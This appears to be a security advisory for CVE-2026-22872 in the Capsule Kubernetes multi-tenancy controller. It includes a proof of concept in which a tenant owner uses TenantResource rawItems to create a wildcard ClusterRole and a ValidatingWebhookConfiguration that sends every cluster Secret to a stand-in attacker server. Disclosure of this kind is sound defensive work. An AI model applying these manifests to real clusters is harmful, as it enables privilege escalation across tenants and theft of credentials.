Setup\n\nTest Environment: Kubernetes 1.27+ cluster (verified using Kind cluster)\n\n#### Step 1: Verify Capsule Controller Privileges\n\n```bash\nkubectl get clusterrolebinding capsule-manager-rolebinding -o yaml\n```\n\nConfirm output contains:\n```yaml\nroleRef:\n kind: ClusterRole\n name: cluster-admin # Controller has full cluster management privileges\n```\n\n#### Step 2: Install Capsule and Create Test Tenant\n\nComplete Capsule installation and tenant creation following previous environment setup steps.\n\n#### Step 3: Verify bob\u0027s Permission Restrictions\n\n**Verify bob can create TenantResource:**\n```bash\nkubectl auth can-i create tenantresources --as bob --as-group projectcapsule.dev -n tenant-b-ns1\n```\n\nActual output:\n```\nyes\n```\n\n**Verify bob cannot create ClusterRole:**\n```bash\nkubectl auth can-i create clusterroles --as bob --as-group projectcapsule.dev\n```\n\nActual output:\n```\nWarning: resource \u0027clusterroles\u0027 is not namespace scoped in group \u0027rbac.authorization.k8s.io\u0027\n\nno\n```\n\n**Verify bob cannot create ValidatingWebhook:**\n```bash\nkubectl auth can-i create validatingwebhookconfigurations --as bob --as-group projectcapsule.dev\n```\n\nActual output:\n```\nWarning: resource \u0027validatingwebhookconfigurations\u0027 is not namespace scoped in group \u0027admissionregistration.k8s.io\u0027\n\nno\n```\n\n### Attack Vector 1: Creating Malicious ClusterRole\n\n#### Step 4: Create TenantResource Containing ClusterRole\n\nCreate file `attack-clusterrole.yaml`:\n\n```yaml\napiVersion: capsule.clastix.io/v1beta2\nkind: TenantResource\nmetadata:\n name: create-clusterrole\n namespace: tenant-b-ns1\nspec:\n resyncPeriod: 60s\n resources:\n - namespaceSelector:\n matchLabels:\n capsule.clastix.io/tenant: tenant-b\n rawItems:\n - apiVersion: rbac.authorization.k8s.io/v1\n kind: ClusterRole\n metadata:\n name: malicious-clusterrole\n rules:\n - apiGroups: [\"*\"]\n resources: [\"*\"]\n verbs: [\"*\"]\n```\n\nApply configuration **as bob user** (critical - must specify executor):\n\n```bash\nkubectl apply -f attack-clusterrole.yaml --as bob --as-group projectcapsule.dev\n```\n\nActual output:\n```\ntenantresource.capsule.clastix.io/create-clusterrole created\n```\n\n**Important**: The `--as bob --as-group projectcapsule.dev` parameters are crucial for proving that bob (not the cluster admin) is executing this attack.\n\n#### Step 5: Verify ClusterRole Creation\n\n```bash\nkubectl get clusterrole malicious-clusterrole\n```\n\nActual output:\n```\nNAME CREATED AT\nmalicious-clusterrole 2026-01-05T16:10:02Z\n```\n\nView details:\n\n```bash\nkubectl get clusterrole malicious-clusterrole -o yaml\n```\n\nKey output:\n```yaml\napiVersion: rbac.authorization.k8s.io/v1\nkind: ClusterRole\nmetadata:\n annotations:\n capsule.clastix.io/tenant: tenant-b\n name: malicious-clusterrole\nrules:\n- apiGroups: [\"*\"]\n resources: [\"*\"]\n verbs: [\"*\"]\n```\n\n**Verification Successful**: bob cannot directly create ClusterRole, but successfully created a cluster-scoped ClusterRole with all permissions through TenantResource.\n\n#### Step 6: Exploit ClusterRole for Cross-Tenant Attack\n\nNow bob can create a ClusterRoleBinding binding this ClusterRole to gain cluster-level privileges:\n\n```yaml\napiVersion: rbac.authorization.k8s.io/v1\nkind: ClusterRoleBinding\nmetadata:\n name: bob-cluster-admin\nsubjects:\n- kind: User\n name: bob\n apiGroup: rbac.authorization.k8s.io\nroleRef:\n kind: ClusterRole\n name: malicious-clusterrole\n apiGroup: rbac.authorization.k8s.io\n```\n\nAfter applying, bob will have full cluster management privileges and can access resources of all tenants.\n\n### Attack Vector 2: Creating Malicious ValidatingWebhook\n\n#### Step 7: Create TenantResource Containing Webhook\n\nCreate file `attack-webhook.yaml`:\n\n```yaml\napiVersion: capsule.clastix.io/v1beta2\nkind: TenantResource\nmetadata:\n name: create-webhook\n namespace: tenant-b-ns1\nspec:\n resyncPeriod: 60s\n resources:\n - namespaceSelector:\n matchLabels:\n capsule.clastix.io/tenant: tenant-b\n rawItems:\n - apiVersion: admissionregistration.k8s.io/v1\n kind: ValidatingWebhookConfiguration\n metadata:\n name: malicious-webhook\n webhooks:\n - name: malicious.webhook.com\n clientConfig:\n url: \"https://attacker-controlled-server.com/webhook\"\n rules:\n - operations: [\"CREATE\", \"UPDATE\"]\n apiGroups: [\"\"]\n apiVersions: [\"v1\"]\n resources: [\"secrets\"]\n admissionReviewVersions: [\"v1\"]\n sideEffects: None\n failurePolicy: Ignore\n```\n\nApply configuration **as bob user**:\n\n```bash\nkubectl apply -f attack-webhook.yaml --as bob --as-group projectcapsule.dev\n```\n\nActual output:\n```\ntenantresource.capsule.clastix.io/create-webhook created\n```\n\n#### Step 8: Verify Webhook Creation\n\n```bash\nkubectl get validatingwebhookconfiguration malicious-webhook\n```\n\nActual output:\n```\nNAME WEBHOOKS AGE\nmalicious-webhook 1 5s\n```\n\n**Verification Successful**: bob cannot directly create Webhook, but successfully created a cluster-scoped ValidatingWebhookConfiguration through TenantResource.\n\n#### Step 9: Exploit Webhook to Steal Sensitive Data\n\nAt this point, whenever any user in the cluster creates or updates a Secret, the Kubernetes API Server will call the attacker-controlled webhook server, sending an AdmissionReview request containing the complete Secret content. The attacker can:\n\n1. Steal Secret data from all tenants (database passwords, API keys, etc.)\n2. Modify Secret contents\n3. Deny legitimate Secret creation requests, achieving DoS attacks\n\n---\n\n## Impact\n\n### Affected Scope\n\nThis vulnerability affects all Capsule deployments with the following prerequisites:\n1. Capsule Controller runs with cluster-admin privileges (default configuration)\n2. Tenant Owner has permission to create TenantResource\n\n### Security Impact\n\n1. **Cross-Tenant Privilege Escalation**\n - Create ClusterRole to gain cluster-level privileges\n - Break tenant isolation boundaries\n - Access all resources of other tenants\n\n2. **Large-Scale Sensitive Data Theft**\n - Intercept all Secret creation/update requests through malicious Webhook\n - Steal passwords, API keys, certificates, etc. across the entire cluster\n - Real-time monitoring of all tenant sensitive operations\n\n3. **Cluster-Level Denial of Service**\n - Deny all API requests through Webhook\n - Make the entire cluster unavailable\n - Impact all tenants\n\n4. **Cluster Pollution**\n - Create malicious CRDs\n - Modify StorageClass\n - Impact cluster stability\n\n5. **Persistent Backdoor**\n - Created cluster-scoped resources persist\n - Even if TenantResource is deleted, ClusterRole and other resources remain\n - Difficult to detect and remove\n\n\n### Limiting Factors\n\n1. Requires Tenant Owner privileges\n2. Requires Capsule Controller running with cluster-admin privileges (default configuration)\n3. Some clusters may have additional admission controllers blocking malicious resources",
"id": "GHSA-qjjm-7j9w-pw72",
"modified": "2026-06-09T10:50:44Z",
"published": "2026-05-28T17:02:55Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/projectcapsule/capsule/security/advisories/GHSA-qjjm-7j9w-pw72"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-22872"
},
{
"type": "PACKAGE",
"url": "https://github.com/projectcapsule/capsule"
},
{
"type": "WEB",
"url": "https://github.com/projectcapsule/capsule/releases/tag/v0.13.0"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:H/UI:N/VC:N/VI:H/VA:N/SC:N/SI:H/SA:N/E:P",
"type": "CVSS_V4"
}
],
"summary": "Capsule TenantResource RawItems Cluster-Scoped Resource Creation Vulnerability"
}
Mitigation
- Divide the product into anonymous, normal, privileged, and administrative areas. Reduce the attack surface by carefully mapping roles with data and functionality. Use role-based access control (RBAC) [REF-229] to enforce the roles at the appropriate boundaries.
- Note that this approach may not protect against horizontal authorization, i.e., it will not protect a user from attacking others with the same role.
Mitigation
Ensure that access control checks are performed related to the business logic. These checks may be different than the access control checks that are applied to more generic resources such as files, connections, processes, memory, and database records. For example, a database may restrict access for medical records to a specific database user, but each record might only be intended to be accessible to the patient and the patient's doctor [REF-7].
Mitigation MIT-4.4
Strategy: Libraries or Frameworks
- Use a vetted library or framework that does not allow this weakness to occur or provides constructs that make this weakness easier to avoid.
- For example, consider using authorization frameworks such as the JAAS Authorization Framework [REF-233] and the OWASP ESAPI Access Control feature [REF-45].
Mitigation
- For web applications, make sure that the access control mechanism is enforced correctly at the server side on every page. Users should not be able to access any unauthorized functionality or information by simply requesting direct access to that page.
- One way to do this is to ensure that all pages containing sensitive information are not cached, and that all such pages restrict access to requests that are accompanied by an active and authenticated session token associated with a user who has the required permissions to access that page.
Mitigation
Use the access control capabilities of your operating system and server environment and define your access control lists accordingly. Use a "default deny" policy when defining these ACLs.
No CAPEC attack patterns related to this CWE.